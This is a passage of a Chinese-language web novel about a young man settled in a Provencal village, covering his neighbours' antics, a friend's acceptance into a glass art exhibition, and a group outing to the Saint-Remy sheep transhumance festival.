“给我们看看。”小孩队提出了抗议。 “我还能骗你吗?你去问问,全卢尔马兰谁不知道我老阿尔邦从不骗人?尤其不会骗孩子。”老头对驳回了对方选手的抗议。 维埃里小声对罗南说: “他叫阿德里安。” 罗南笑着问: “马赛搬来的?” 维埃里耸了下肩膀: “滚球运动的魅力正在于不管对手是谁,都必须要赢下来的决心。” 没有裁判的比赛难免会出现些失控场面,直到小孩队完成第一轮投球,双方选手还在为投掷的公平公正争吵。 不过在老头队开始投掷后,比赛现场安静了下来。 要投出不同角度、不同路线的球,需要精神高度集中,还要掌握好腿部的弯曲动作以及瞄准目标的高超能力,所以投手对自身动作的协调和控制能力就显得格外重要。 老头队选手经过近30秒的瞄准后,优雅的将球抛出,他的柔软度极好,可以单腿独立,像是一个退役的芭蕾舞演员。 球离手后,身体顺着球出手的方向不断左右扭动,似乎这样可以控制球的方向,为了保持平衡,他的一支手臂还会或快或慢的挥舞几下,像是一个可以调节球速的控制器。 当球停下后,他的那只悬空的后腿高高后抬,从罗南这个角度看像是一只即将起飞的鹈鹕。 “我们赢了!”老头对的选手击掌庆祝。 “不,是我们赢了!”小孩队的选手趴到地上,用眼睛观察两球的距离。 “这明明就是我们赢了!”老头队抗议道。 小孩队的成员从地上的书包里拿出一把尺子,经过精准的测量后宣布了己方的胜利: “我们距离杰克(母球)44毫米,你们是45毫米!我们赢了!” “你刚趴下的时候碰球了,你作弊!” “我没有,我没有碰球,就是我们赢了!” “卑劣的小子!” 愤怒的低吼和小孩独有的高音尖叫让罗南的脑袋出现了短暂的眩晕: “我们去别的地方踢吧。” 维埃里拿起足球: “嗯,反正也决出胜负了。” 罗南笑着指身后: “他们估计要吵很久呢。” 维埃里露出狡黠的笑容: “裁判马上要干预比赛了。” “嗯?” 罗南的鼻音还没发完,运动场里围过来几个人,相邻的民宅里也探出几个脑袋。 “该死的阿德里安,快点让那个孩子闭上嘴,不要和他争了!” “孩子们,你们赢了,我宣布你们赢了!” “别叫了!我来给你们举行颁奖仪式!” 维埃里给目瞪口呆的罗南解释: “在普罗旺斯,判断滚球输赢的标准有很多种,谁的嗓门大谁赢是其中一个经常使用的判断方式。” 罗南对维埃里做了一个加油的动作: “谢天谢地,你热爱的运动是足球,如果是滚球我绝对不会陪你。” 罗南和维埃里来到村外的一处空地踢足球。 虽然才早上七点多,但温度已经热起来了。 他们踢了一小会就原路回村里。 罗南刚一进村子就被皮埃尔拦住: “你去哪了?我们找你好久了。” 罗南擦了擦汗: “我去踢足球了。” 皮埃尔皱起眉头,似乎发生了很严重的事情: “给你做石材的家伙来了,卡车上运了你家后院的家具,但我们把他拦下了,没让他卸货。” 罗南差点忘了,今天是多库来给他送石材的日子: “让他卸啊,为什要拦?” 皮埃尔用力在空气中挥舞了一下: “那小子糊弄你,拉了几块原石来!” 罗南哭笑不得的说: “他在哪儿?快带我过去。” 村民们对罗南家后院的装修进度比罗南还关心。 罗南忘了日子,但其他人没忘啊。 听说罗南今年不打算挖游泳池了,那么他家后院唯一一个还没竣工的地方就是会客区。 今天一早就有人在村口蹲守。 上次那人送来了四根造型精美的罗马柱,这次的家具肯定更加精美了吧? 他们看到多库的卡车驶入村子,热情的给他带路。 但很快有人发现了‘异样’。 “那不就是几块普通的原石吗?这哪里是什么家具?” “这就是罗南订的家具,我全部按照他图纸上的尺寸做的。”多库站在罗南家门口给大家解释,“我也一度怀疑过,我说别人都希望雕琢出精美的花纹,你居然连一点造型都不要.但罗南说他要的就是这个样子的!” 巨大的动静也把罗天海和冯珍惊动了,他们不知道罗南是怎么打算的。 也许是送错了? “先进来休息下吧,等罗南回来再说。”罗天海对多库说。 “罗南来了!罗南来了!”有人突然喊道。 罗南爬上卡车检查了一下,跳下来对多库说: “卸货卸货。” “罗南,你确定那是你要的东西?”特奥阻拦道。 亨利也忍不住插道: “罗南先生,你在室外会客区安装了好看的顶棚,墙面也做了造型处理,怎么家具就是几块原石啊?这其中有一块连边都没打磨!” 多库不知第多少次解释: “那是罗南让我做的‘自然’处理!不是原石!!” 罗南拍了拍特奥的肩膀: “快让多库卸货吧,等我布置完那个区域你们就明白了。” 他又对亨利说: “看着点他们,别让他们去后院给我捣乱。” 亨利立正敬礼: “放心吧罗南先生!” 他转过头来,对特奥说: “离开,今天你不能踏入这里!” 上午11点。 佐伊从工作室出来短暂休息,发现维埃里还没有回来。 但罗南明明说了他们很快回来. 怎么可能踢了整整一个上午的足球呢? “维埃里没有给家里打电话吗?”佐伊进厨房问母亲。 莉亚一边做饭一边说: “没有,可能和罗南玩的太开心了吧。” 佐伊把头发放下来: “我去罗南家看看。” 佐伊到了罗南家,冯珍告诉他罗南和维埃里在后院布置会客区呢。 “放心吧,维埃里很好。”罗天海笑呵呵的说。 冯珍瞥了他一眼。 你可真行啊,人家佐伊担心的是维埃里吗? 她担心的是你儿子! “我和罗南的爸爸要做午饭了,你去后院看看吧,罗南和维埃里忙一个上午了。”她笑着对佐伊说。 年轻人谈恋爱就是有‘黏腻’啊。 几个小时见不到就难受。 佐伊从大门出来去后院,亨利没有拦佐伊,轻松的把她放行。 这可把在附近蹲守的农夫们气到了,尤其是看亨利越来远不顺眼的特奥。 “亨利,你为什么不拦佐伊?” 亨利把放在耳朵上的烟取下来: “佐伊不是会捣乱的人。” 特奥指着亨利的鼻子问: “你的意思是我会捣乱?” 亨利梗着脖子说: “当然,早上是你第一个阻拦卡车卸货的!” “我是为罗南好!”特奥扒开亨利的胳膊,“让开,我进去给他帮忙。” “不可以!”亨利嘴里的烟掉了都顾不上捡,恪尽职守的推特奥出去,“罗南先生不让你进去。” 特奥回头对康奈尔喊: “还在等什么?快来帮忙,你们不想进去看看吗!” 一个、两个、三个.亨利的防线很快被摧毁。 倒下之前,亨利抓着心爱的船长帽,撕心裂肺的对后院喊: “罗南先生,敌军突袭!!” 农夫们哈哈大笑着跑进罗南的后院。 “我要在沙发上打滚!” “我要在那里喝上三天三夜!” “那以后就是我在罗南家的床了!!” 但当他们真的跑到会客区,看到罗南的精心布置后又都不好意思踏入那里一步了。 特奥气呼呼的蹲到地上: “该死的罗南,它把这里布置的这么干净整洁,我会觉得我不配坐在这里!” 第161章 被埋没的艺术家 罗南、佐伊和维埃里在罗马柱处休息说话。 见特奥他们冲进来,罗南连忙跑过去。 “那里还没弄完呢!”他对着那帮人大喊。 但还好农夫们没有一个进入休息区,只是在外面小心翼翼的看着。 法比安不知所措的跺了跺脚,似乎担心自己鞋子上的泥土弄脏这里: “原来那块没有打磨过的原石做了小桌子。” 康奈尔的双手在衣服上蹭了几下,但依然觉得它们不够干净,用眼睛看着沙发上铺的毯子,惊讶的说: “你好厉害啊罗南,在原石上铺了东西后感觉完全不一样了,我早上看到它们,还以为你要在会客区搭一个床,原来是摆成了L形‘沙发’。” 特奥兴奋又羡慕的嘟囔: “这里绝对可以坐十几个人,大家不用挤在罗马柱下面了。” 罗南站到用石材拼接的‘吧台’前,提醒他们: “别碰这里,这里刚刚打了胶水,要晾一天才能用。” 他让亨利阻止这些人进来,就是担心他们太激动,碰到了还没完工的吧台。 罗南回头,见那些人局促的站在棚子外,即使顶着正午的大太阳都不好意进来坐,笑着说: “进来啊。” 他去拉特奥,特奥倔强的躲开: “我晚上再来” 他身上全是汗,衣服也是脏的,会弄脏了罗南布置的会客区,晚上回家洗过澡再来。 罗南用力把特奥推进去: “卢卡斯没有教过你吗?别磨磨唧唧的像个娘们一样。” 之后罗南又去推康奈尔,康奈尔一边躲一边跑: “罗南,这里太干净了.真的像是梦里看到的地方,不不不,我梦都梦不到这么好看的地方,还是坐在地上更适合我。” 罗南从身后抱住康奈尔的腰,像拔萝卜一样把他抱起,扔了进去: “石材的好处除了便宜,还有易清洗,这里面所有东西都是防水的,拿水冲一下就能恢复原样.别想那么多好吗伙计们,你们今晚还想不想在我家喝到天亮了?” 罗南在设计后院样式的时候,就把易清洗、防水等因素考虑进去了。 他也是个农夫啊,不可能每天干干净净的! 康奈尔终于在他心心念念的大沙发上打滚了: “罗南,你家真的太棒了,即使被妈妈多骂几次我也要来你家。” 法比安左摸摸右看看: “上帝,我做梦也想不到这么漂亮的地方会在卢尔马兰出现,我在艾克斯住的酒店露台都没这里好看。” 特奥拍着罗南的肩膀说: “今天走之前,我会把这里恢复原样的。” “不用你,懒惰的家伙!”亨利已经把水管接好,兴奋的说,“罗南先生,我每天都来帮你打扫后院,免费的!” “滚吧亨利,少给自己制造机会来罗南家的后院,谁不知道你的目的是什么。” “该死的特奥,我现在就用水枪把你‘洗’干净,不让你把罗南先生的后院弄脏!!” 十几米外的地方,佐伊双手抱胸,笑着看罗南和朋友们打打闹闹。 罗南的魅力不止会吸引异性,也会让同性对他‘刮目相看’,她从未在卢尔马兰见过像罗南这样受欢迎的村民。 而他才搬来这里生活不过半年的时间 “你也要努力啊佐伊,再过几个月有可能都‘配’不上他了。”佐伊给自己打气。 “佐伊!”冯珍小跑着来到院子,“莉亚打电话,让你尽快回家。” 佐伊走到冯珍面前问: “叫我回家吃饭吗?” 冯珍摇头: “不是,是艾克斯有人给你打电话了。” 罗南抛下朋友们跑过来,激动的问佐伊: “玻璃器物展来消息了?” 佐伊报名的艾克斯玻璃器物展在7月份举行,进入7月还没得到消息,她已经默认自己失败了。 没想到临近展会举办日,她居然接到了举办方的电话。 母亲莉亚紧张的围在电话旁,希望从女儿的面部表情或肢体动作上看出对方找她是否是好消息。 但佐伊全程只是偶尔‘嗯’几声,或者说一两句‘好的’,表情没有任何起伏,什么都看不出来。 莉亚焦急的走来走去,罗南小声对她说: “别紧张,打了好久,应该快结束了。” 莉亚表现的像是自己要接受命运审判了一样。 莉亚压低声音说: “佐伊需要一个机会,一个展示自己的机会!她不应该一辈子和那些杯子、盘子打交道。” 罗南‘嗯?’了一声: “佐伊不就是做杯子和盘子的吗?” 莉亚摇头: “佐伊是一个懂事的孩子,做杯子和盘子是为了生活,她说现在一意孤行的做艺术品,只会让自己饿死。” “所以她还做其他东西?”罗南吃惊的问。 佐伊从未跟他说过这些事情。 莉亚心疼的说: “当然,她要赚钱,还要兼顾自己的梦想所以每天才会工作那么多个小时。” 罗南看向佐伊,感触颇深的叹了一口气。 多库也是个‘艺术家’,但现在只能在布满白色石灰粉尘的采石场靠做家具为生。 这个世界上能有几个毕加索,又能有几个米开朗基罗呢? 大部分人都在追求艺术的途中被现实压低了头颅。 “她还做过什么东西?”罗南问莉亚。 莉亚把罗南带到了家里的仓库门口: “佐伊的作品很有她自己的风格,你看过就知道了我真的认为她不应该被埋没。” 莉亚打开仓库里的一个大柜子,像宝贝一样拿出一个铁盒子: “这是佐伊上大学时做的。” 盒子里存放了一个蓝色的玻璃制品,罗南只看了一眼就惊喜的拿起来仔细打量: “这是一只鹿?” 莉亚骄傲的点头: “没错,那年冬天她和路易、维埃里上山挖松露,松露没挖到,但看到了一只小鹿,回来佐伊就做了它。” 她继续拿出其他的盒子给罗南展示。 罗南马上明白了莉亚说的‘佐伊的作品很有她自己的风格’是什么意思。 “她做的全是动物”罗南小心翼翼的查看它们。 “是的,佐伊从小就喜欢动物,她说做喜欢的东西可以让它们拥有‘灵魂’。”莉亚回忆道。 “这不是纯玻璃的吧?”罗南把那只小鹿拿到灯光下仔细打量。 “那是用玻璃和陶瓷结合着做的。”两个人身后,一道好听的女声出现。 罗南扭头,用崇拜的语气说: “怎么样?对方说了什么?如果他们拒绝了你,一定会后悔一辈子的,他们与一名优秀的艺术家失之交臂了。” 上帝啊,玻璃还可以和陶瓷做结合? 它们是怎么连接的? 怪不得佐伊会做玻璃和陶瓷两种材质的杯子和盘子! 佐伊呼出一口大气,如释重负的说: “虽然他们觉得我的作品还有些稚嫩、虽然他们要展示的是杯子和盘子.但谢天谢地,我终于走出卢尔马兰,要参加第一个普罗旺斯范围的艺术展览了。” “上帝,佐伊,我太为你骄傲了!我知道这一天一定会到来的!!”莉亚激动的抱住佐伊,眼泪在眼睛里打转。 罗南咧着嘴,笑的比她们母亲还开心。 莉亚一挥手,把罗南也抱进来,开心的对他们两个说道: “你们都是好孩子!” 佐伊张开怀抱,环住罗南的身体: “你要护送我们啊。” 【他人的幸福使你的幸福度增加30点】 罗南重重的点头,幸福的说: “说到做到,艺术家和作品都会安全到达艾克斯。” “哪天去艾克斯?” 晚上,罗南和佐伊‘夜游’的时候,不免聊起的还是玻璃器物展的事情。 “下周三。”佐伊的脸上洋溢着控制不住的笑容,“在那之前我会休息几天,不再做东西了。” 她每一天都太累了,终于向前迈了一大步,可以奖励自己几天休息的日子。 她想到什么,开心的对罗南说: “白天我去你家帮你做东西。” 佐伊知道罗南每天都在做餐厅要用的家具。 罗南连连摇头: “那怎么行?休息就好好休息,木工比你做玻璃和陶瓷还累,那至少可以坐着,我一站站一天。” 佐伊双手背后,俏皮的对罗南说: “所以我要去帮帮你啊。” “我慢慢做没关系的。”罗南赶紧换了一个话题,“这次的展会只能展览杯子和盘子吗?我看了你做的小动物,它们太好看了。” 佐伊悠悠说道: “这次的主题是器具,只能展示杯子和盘子,没办法送其他作品,不过我相信很快就有机会展示那些东西了你知道的,会有很多人来看展会,我会被更多的人关注到。” “来自卢尔马兰的艺术家,马上就要震惊普罗旺斯艺术界了!”罗南露出灿烂的笑容。 “别逗了,我说真的——”佐伊用不容置疑的语气说,“明天早上我去找你,我好久没做木作了,放下太久会生疏的。” 罗南眼前一亮,期待的说: “不如我们出去玩玩?” 佐伊的眼睛也亮了: “去哪儿?” 她只是想和罗南多些相处的时间。 其实干什么都可以。 “你前两天说,圣雷米的迁徙节要举办了,我们去看羊迁徙吧?”罗南想看大艺术家继续跳舞! 佐伊痛快的答应下来: “好啊,我们去圣雷米!” 罗南兴奋的攥紧拳头。 只有他们两个人,一定可以看够佐伊性感的舞姿! 罗南把佐伊送回家,遇到了刚刚得知女儿即将要去参加展会,并因此兴奋不已的路易。 “我就知道你一定会成功的!”路易用力抱住佐伊。 之后他开心的对佐伊和罗南说: “我刚刚给弗雷迪、卡尔和阿兰打过电话,通知他们这个好消息,他们提议为此好好庆祝一次!圣雷米的迁徙节要举办了,那里比伯尼约的‘山羊赛跑’还要热闹,我们去那里好好庆祝一番,再次举行一次愉悦的集体行动!” 路易的笑容僵硬在脸上,无辜的问: “你们怎么了?为什么看起来都不太开心?” 第162章 一个人改变一座城 博尼约距离卢尔马兰只有13公里,但圣雷米距离卢尔马兰有50多公里,和上一次的‘山羊赛跑’比起来,这一次的集体活动可谓是‘长途跋涉’。 吕贝隆山区的路不够平坦,而且现在正值暑期游客高峰,为了赶上普罗旺斯最具有地域特色的节日,大部队在早上不到6点就出发了。 “我有一种预感,今天会比在家干活更累。” 双人活动变成了集体活动,这导致罗南的兴致并不太高,但罗天海和冯珍倒是对此充满了好奇。 “‘山羊赛跑’已经很热闹了,路易说圣雷米的迁徙节比‘山羊赛跑’还要热闹.那得‘热闹’成什么样子啊?”冯珍憧憬的问老公和儿子。 巴黎一家的感受基本一致,‘山羊赛跑’是这些巴黎人这辈子体会过的最疯狂的一天。 罗天海戴着时下最流行的‘飞行员’太阳镜,坐上DS19的驾驶位: “去看看就知道了。” 冯珍今天穿了她最漂亮的裙子,坐到副驾驶,回头问儿子: “我这一身还行吧?” 搬到普罗旺斯后,冯珍开始注重外形了。 在巴黎她半年都不会化一次妆,来普罗旺斯一个月,过期的口红都快用完了。 儿子混的好,走到哪里还都有羡慕她的人。 她必须注重自己的言谈举止! 罗南笑着夸她: “漂亮的不得了,像戛纳来的大明星。” 罗天海不服气的砸吧了一下嘴,他今天也穿得很精神: “你妈是明星,我是什么?” 罗南拍了一下父亲的座椅: “你是马赛的大老板,特别有气质的那种。” “哈哈哈——还是儿子会说话。”冯珍也戴上了她的墨镜,看起来更像大明星了。 盛装出席的巴黎一家人只开心了不到一分钟。 当罗天海把车开到路易家门口时,以为自己找错了地方。 这里在拍电影吗? 仔细看了好几秒,才确认那个穿的‘花枝招展’的人是路易。 路易正往车子里面装东西,见罗南一家来了,帅气的摁了一下自己的帽子,插着口袋走过去问: “莉亚准备了早餐,要给你们拿一些在路上吃吗?” 罗南惊的连说了好几句‘上帝’: “你为什么要穿成这个样子?” “因为‘迁徙节’是普罗旺斯很古老的节日,我们也会在这一天穿上具有特色的地方服饰。”和路易穿着‘情侣装’的莉亚拿着东西出来。 看到莉亚,罗南‘哇’了一声: “我建议你们平时也应该穿‘传统服饰’,这衣服衬的你们太酷了。” 冯珍和罗天海都不敢插话了。 路易和莉亚的打扮秒杀他们几条街的距离! 路易搂住妻子莉亚,在她头上轻轻一吻: “普罗旺斯传统服饰不全是这么好看,但我有一个心灵手巧的妻子,这是莉亚亲手做的。” 莉亚也开心的抱住路易: “亲爱的,那是因为你穿什么都好看。” “但我也有一个心灵手巧的妻子。”弗雷迪一家也开车来汇合了。 他和妻子下车,原地转了一圈: “怎么样?这衣服完美的挡住了我的肚子!” “该死的,你们怎么也穿了传统服饰?”路易气愤的说。 他并没有告知其他几个普罗旺斯人,今天他们要穿成这样,目的就是为了在今天的集体活动中成为最‘耀眼’的那一对。 怎么还有人抢他的风头呢? 弗雷迪做了一个鬼脸: “因为我猜到肯定会有人‘耍心机’,看来我的判断是对的,但我万万没想那个人是你啊路易,我以为会是老卡尔.你知道的,他总是想在这种传统节日上做那个特别的人。” 话音刚落,老卡尔的老爷车缓慢的停到路易家门口: “瞧瞧,这是一场选美比赛吗?” “哈哈哈哈——”弗雷迪摸着肚子大笑道,“我就知道你这家伙会穿这身!” 老卡尔把拐着伸出车窗,去捅弗雷迪的肚子: “我上次见你穿成这样还是在7、8年前,这衣服是那个时候做的吗?你居然还能穿进去,真的是奇迹.” “胡说!”弗雷迪愤怒的说,“我和7、8年前的体型是一样的。” “不信你问路易?”老卡尔看着路易说。 路易撇了下嘴: “我记得7、8年前你和阿兰一样的体形,但现在你已经有两个阿兰那么胖了。” “哼,但阿兰没有我帅气!”弗雷迪不满的嘟囔。 “真的是这样吗?”罗南看向他们的身后,“阿兰今天比你帅多了。” 阿兰和妻子下了车,看着这群人笑着说: “昨天妮可拉让我穿传统服饰我还不同意,觉得这个年代了没人会这样做,穿出去一定很奇怪,但我现在万分感激我的妻子给了我这个建议,如果不穿成这样,我才是最奇怪的那个。” 路易指着阿兰的脸说: “你居然还修了胡子?!” 不同国家的男人有着各自的胡子风格。 美国人的胡子通常是马蹄形的;英国人的胡子则是扇形,高傲而精致;西班牙人的胡子从鬓角一直延伸到下巴,黑而浓密;奥地利人的胡子虽然浓密,但下巴很干净;俄国人的胡子则像两支由拳头做成的长矛,威武霸气。 而法国人的胡子和他们的性格一样,会出现各种新奇的花样和形状,但它们有一个共同点——绝不打理。 莉亚不想听这群中老年拌嘴,拍了拍路易的胸膛: “好了亲爱的,别说阿兰了,你今天早上也修了胡子。” “我修理胡子是因为今天的出行计划是为了庆祝我的宝贝女儿要去艾克斯开展会了!”路易大声嚷嚷。 “爸爸,我说了很多次,是参加展会。”佐伊推门出来。 佐伊今天没有穿传统服饰,她下身是一条浅蓝色包臀牛仔裤,上面穿了一件很有设计感的紧身白色T恤,在体现她一贯‘简约’风格的同时,又有挡不住的‘时尚’气息。 罗南知道佐伊今天也‘精心’打扮了,这不是她平时在卢尔马兰会穿的衣服。 佐伊把自己的包扔到罗天海的车上,并礼貌的问: “我可以坐这辆车吗?和我爸爸妈妈一辆车太奇怪了我看起来会像是给他们拍写真集的摄影师。” “当然,当然可以!”罗天海和冯珍同时答道。 “那我们出发吧!”弗雷迪对大家招手道。 看这些穿着南法特色服饰的家伙上车的感觉太奇妙了,像是有某些神秘力量在这附近打开了一条时空隧道。 车子发动起来,罗南压低声音对身边的佐伊说: “每次参加普罗旺斯当地特色活动,我都会对这些人陌生一次。” 佐伊对罗南微微一笑: “今天的旅程还没开始呢,回程的时候你再说这句话比较合适。” 罗南:“.” 圣雷米的所在位置已经离开了吕贝隆山区,它位于阿尔皮勒山区北部,虽然在阿维尼翁以南的20公里,但同马赛一样,在罗讷河口省的辖区范围内。 路上,佐伊给罗南一家科普‘迁徙节’的由来和意义: “牧羊是人类最古老的生产活动之一,从普罗旺斯有牧羊人出现开始,就有了迁徙节这个节日,历史非常悠久。” “6月开始,天气炎热,大地开裂,原先的草场无法再养羊,水源也变得稀缺,牧羊人便把羊群赶往高山牧场去放牧,每年的十月再把它们赶回来。” “全程靠脚走过去吗?”冯珍问。 佐伊耐心的回答: “以前是,牧羊人要赶10-20天才能把羊群赶到目的地,但现在大多数都是用卡车拉过去了。” 罗天海继续问道: “既然如此,为什么这些羊还会穿过城市呢?” 佐伊笑着说: “现在的迁徙节更像是一种节日盛典,3000多只羊和驴子将在牧羊人和牧羊犬的陪同下绕圣雷米老城中心游行两圈,之后‘狂欢’就开始了。” 罗南问: “怎么样的狂欢?和‘山羊赛跑’时一样吗?” 佐伊露出一个奇怪笑容: “不一样,普罗旺斯的节日,各有各的特色。” “这里是什么?会有乐队吗?”罗南期待的问。 “儿子、佐伊,你们快看啊,这条路的两侧有好多向日葵。”冯珍突然打断了他们的谈话。 罗南转头看过去,发现果然目之所及全部是向日葵的身影。 “这里为什么种了这么多向日葵?”冯珍问佐伊。 佐伊看向窗外,悠悠说道: “因为梵高在圣雷米的圣保罗精神病院接受过治疗,并在这里创作了很多令后世难忘的作品,包括以该镇为背景的《星空》,《星空》被誉为梵高最经典的作品,这座城镇里的居民喜欢种植向日葵来纪念这位天才画家,很多艺术家也搬到了这里居住。” 圣雷米是罗南在普罗旺斯见到过艺术家最多的地方。 路边全部是作画的人,街道边也有许多艺术品商店。 “他们全部是因为梵高来的这里?”罗南有些不理解的问。 在家里就不能画了?? 佐伊面露憧憬之色: “一个人改变一座城,这句话放在艺术领域同样适用。” 罗南若有所思的看窗外,嘴里不停重复这句话: “一个人改变一座城一个人改变一座城” 我将来可以有这么大的本事吗? 第163章 属于男人们的主场 早起的鸟儿有虫吃。 早出发的游客有大把时间欢度迁徙节的时光。 羊群会在10点半开始被赶往圣雷米的老城区主道,但罗南一行人由于出发的太早,8点多就把车停好了。 “今天绝不能把车停在圣雷米的城区里,这会让你的车子成为游客们观看羊群的座椅或者‘脚踏板’。”路易颇有经验的说,“或者是野餐垫,那太糟糕了。” 普罗旺斯遍布各种专家。 今天,弗雷迪又化身为‘圣雷米’专家,给庆典制作日程计划: “我们从这里穿过主城,去北部的宪兵队附近找一个咖啡厅观看盛典,这样还可以顺路参观一下为迁徙节而举办的特色集市。” 普罗旺斯各地有在固定日期举办的集市,也会有围绕某个主题节日举办的特殊集市。 罗南听佐伊说,在上阿尔卑斯省举办的薰衣草节前后,那里会有一条长达3公里的薰衣草主题市集。 无论是吃的、喝的还是用的,全部有薰衣草的味道。 甚至还可以看到薰衣草口味的法棍和乡村香肠。 身为半个‘普罗旺斯人’,罗南把他了解的特殊集市信息介绍给父母,之后问身边的阿兰: “今天的特殊集市应该和薰衣草节的特殊集市差不多吧,主题全部是羊?” “哦,不不不,不是的。”穿着传统服饰的阿兰摇头,“这里的特色主题是‘游牧’。” 他略显兴奋的给巴黎一家人介绍: “很有特色也有很意思的市集,我发誓你们在其他地方绝对看不到。” 冯珍一手拉老公,一手拉儿子,不由得加快了脚步: “快去看看。” 她最爱逛集市了。 买买买买买! 弗雷迪带着一帮人穿过几条小巷,走到了一条游客量极大的街道上。 这条街道的两侧遍布由宽大桌子组成的临时集市摊位,每个摊位前都有顾客驻足观看。 “就是这里了吧?”冯珍兴奋的左看看右看看,很快皱着眉头说,“怎么都是卖这些东西的啊?” 莉亚过来问冯珍: “我们几个想先去宪兵队附近找看活动的地方,你跟我们一起去吗?” “走吧。”冯珍拉住莉亚,语气失落的说,“这里不适合咱们。” 背着手慢悠悠跟着老婆走的罗天海在背后叫住她们: “我和你们一起去。” 不过刚走了几步他便在右手边的一个摊位前停下脚步,颇为感兴趣的问摊主: “这是什么?” 自诩‘见多识广’的罗天海从未见过这东西。 看材质像是铜做的,但形状独特,看不出是干什么的,而且还有大大小小的不同尺寸。 同样身穿南法特色服饰的摊主给罗天海介绍: “先生,这是牛铃和羊铃,阿尔卑斯山是牛铃和羊铃的发源地,要买一个吗?” 罗天海好奇的拿起来一个打量: “牛铃和羊铃?第一见这东西” 罗南也来到了这个摊位,看到所卖的东西,问身后的佐伊: “我给呼呼买一个?” 佐伊笑着摇头: “羊铃是为了让主人找到牛或者羊的位置,我猜呼呼不会喜欢戴着它。” “阿兰、弗雷迪,我们买几个这个吧?”这一边的罗南购物失败,前面的路易则找到了心仪的目标。 罗南去到路易所在的摊位,发现这里卖的是他的噩梦——法式滚球。 只不过并不是他熟悉的那种纯钢制滚球,看起来似乎有些年头了。 “先生们,这些是70年前制作的滚球,形状规整还有收藏价值,要买几个吗?”摊主热情的推销。 “是老家伙!”弗雷迪兴奋的凑过来。 阿兰问摊主: “多少钱?” 摊主用手做了一个8的手势: “80法郎,一颗子球,一颗母球,可以任意挑选样式。” 罗南压低声音提醒已经跃跃欲试要回去打一局的路易: “这个价格不太可能是古董。” 路易头都不抬的说: “但它的外形很酷,不是吗?” 罗南:“.” 一回头,罗南又看到罗天海拎着一个巨大的牛铃走过来。 “买牛铃干什么?咱们家又没有牛.”罗南吃惊的问。 罗天海笑呵呵的说: “可以摆在家里当装饰,我觉得它很好看,你不觉得吗?” 罗南叹了一口气。 看来这里是属于老男人们的主场。 果然,男士们在集市上收获颇丰。 路易买了几个滚球,罗天海买了牛铃,弗雷迪买了一套马具,阿兰买了一个皮围裙,老卡尔有了新的拐杖。 佐伊可能是逛的最积极的一个女生了,她会在麻布摊位前看老板演示,也会仔细研究马具的穿戴方法。 罗南见她光看不买,主动说道: “你喜欢哪个?我送你。” 佐伊轻轻笑了几声: “为什么要抢我的台词?只有你没有买东西了。” 罗南环顾四周: “这里没有什么特别吸引我的。” 佐伊抬头问: “你喜欢什么东西?” 罗南曾经送过她一个价格昂贵的赭土矿石沉积物烧制的盘子,佐伊一直想回送他一个东西。 罗南耸肩: “我也不知道。” “孩子们快来,我们找到位置很棒的观景地点了!”冯珍和莉亚对罗南和佐伊招手。 圣雷米的常驻人口只有6000多人,但规模比博尼约大了许多倍,即使没有熟人,也能找到一个位置不错的观景地点——一个临近主街的咖啡厅。 一行人包下一个二层的包间,窗外就是已经被清空了的街道。 不过这一次阿兰没有点酒,也没有点餐食,只是要了一些普罗旺斯当地特色的零食和甜品。 他给巴黎一家人解释: “羊群在城中心绕两圈只需要半个小时,我们看完就离开了。” “只有半个小时吗?”罗南有些惊讶。 山羊赛跑可是举办了整整一个上午。 半个小时太‘敷衍’了吧? 路易撇了下嘴: “时间太久,它们会‘误机’的。” 见巴黎一家人一脸疑惑,阿兰好心解释: “从这里离开后,这些羊就要坐卡车去阿尔卑斯山的高山牧场了,组织几千只羊坐卡车可不是件容易的事,他们可能会忙到天黑。” “那我们之后去哪?”罗南期待的问。 他可太好奇了,佐伊说的‘狂欢’到底是什么样子的? 憨厚的阿兰‘调皮’的对罗南眨了一下眼睛: “任何地方都有可能。” “来了来了!”弗雷迪大喊道,“牧羊人来了。” 所有人齐齐起立围到窗前,看到在道路的尽头,有三个穿着传统牧羊人服饰的老人,带着他们的牧羊犬率领密密麻麻的山羊大军出现了。 “上帝,好多羊啊。”冯珍踮起脚尖,眼睛瞪得大大的。 虽然已经做足了心理准备,但还是会被眼前的景象震惊到。 楼下的羊比人还要多! “最近每年只有3500只羊走上圣雷米的街道,但几十年前,最多的一届迁徙节有超过1万只羊来这里参加狂欢。”路易双手抱胸,似乎眼前已经出现了那个画面。 “我在巴黎都没有同时见过一万个人.”罗天海喃喃自语。 “怎么还有驴?”罗南在一众羊海里看到了不一样的东西。 “以前迁徙一次需要十几天,驴身上要装牧羊人的补给品,所以驴也是迁徙节上绝对不可或缺的一部分。”老卡尔摸着新买的拐杖说。 与羊群一同出现的牧民们全部‘盛装出席’,沿途不断向两侧的行人招手示意,自信又大方。 “这才是真正的‘大明星’呢!”冯珍羡慕的说。 这些牧羊人绝对是今天圣雷米的全部焦点! 莉亚笑容灿烂的对冯珍说: “今天我们每个都是‘大明星’。” 就像弗雷迪说的,羊群只在街道上出现了半个小时就去‘登机’了。 “这就完了?”罗南把头探出去,意犹未尽的问。 他低头发现,街道空下来后,两侧围观的人群出现了明显的骚动,大家表现的比观看羊群时还要激动。 几秒过去,整个房间里没有任何一个人回答他的问题。 罗南回头,发现大家全部拥挤的站到门口。 老卡尔把拐杖夹在腋下,堵着门口说: “女士先生们,今天我要‘倚老卖老’了,我必须找到一个好的位置。” 弗雷迪卷起袖子: “卡尔,你年纪大了,我劝你不要做‘冲动’的事情。” 路易不愿意和他们斗嘴,努力想从弗雷迪和卡尔中间的缝隙里挤出去: “该死的,快让我出去。” 老卡尔把拐杖的另一端递到他的妻子手里: “老规矩,两个小时后中间的竞技场见。” 罗南发现今天这些男人明显非常‘兴奋’。 难道不止集市是属于男人的主场,整个狂欢也是属于男人们的‘天堂’? 阿兰一个‘突袭’拉着妻子的手冲出包厢: “冲吧伙计们,狂欢开始了!” 阿兰似乎打开了某个神奇的开关。 他冲出包厢后,整栋建筑里发出无数只鞋子撞击地面的声音,似乎又有几千只羊出现了。 随即路易、弗雷迪和老卡尔也拉着各自的妻子冲出房间,生怕自己落后了。 罗南正想追出去,突然听到四面八方传来激情昂扬的音乐,随后他的手被人用力拉住。 “走吧,我的舞伴。”佐伊笑着把罗南拉出了房间。 第164章 攀比?呵呵 罗南来到大街上,发现楼下已乱作一团。 供羊群‘巡演’的街道上挤满了行人,大家一边欢快的摆动身体,一边向着羊群离去的方向前行。 佐伊拉着罗南进入前行的人群: “迁徙节结束,圣雷米的乡间音乐节即将开始。” “但我们这是要去哪里?”罗南几乎不用自己行走,被身后的人潮推着向前移动。 他紧紧拉住佐伊的手。 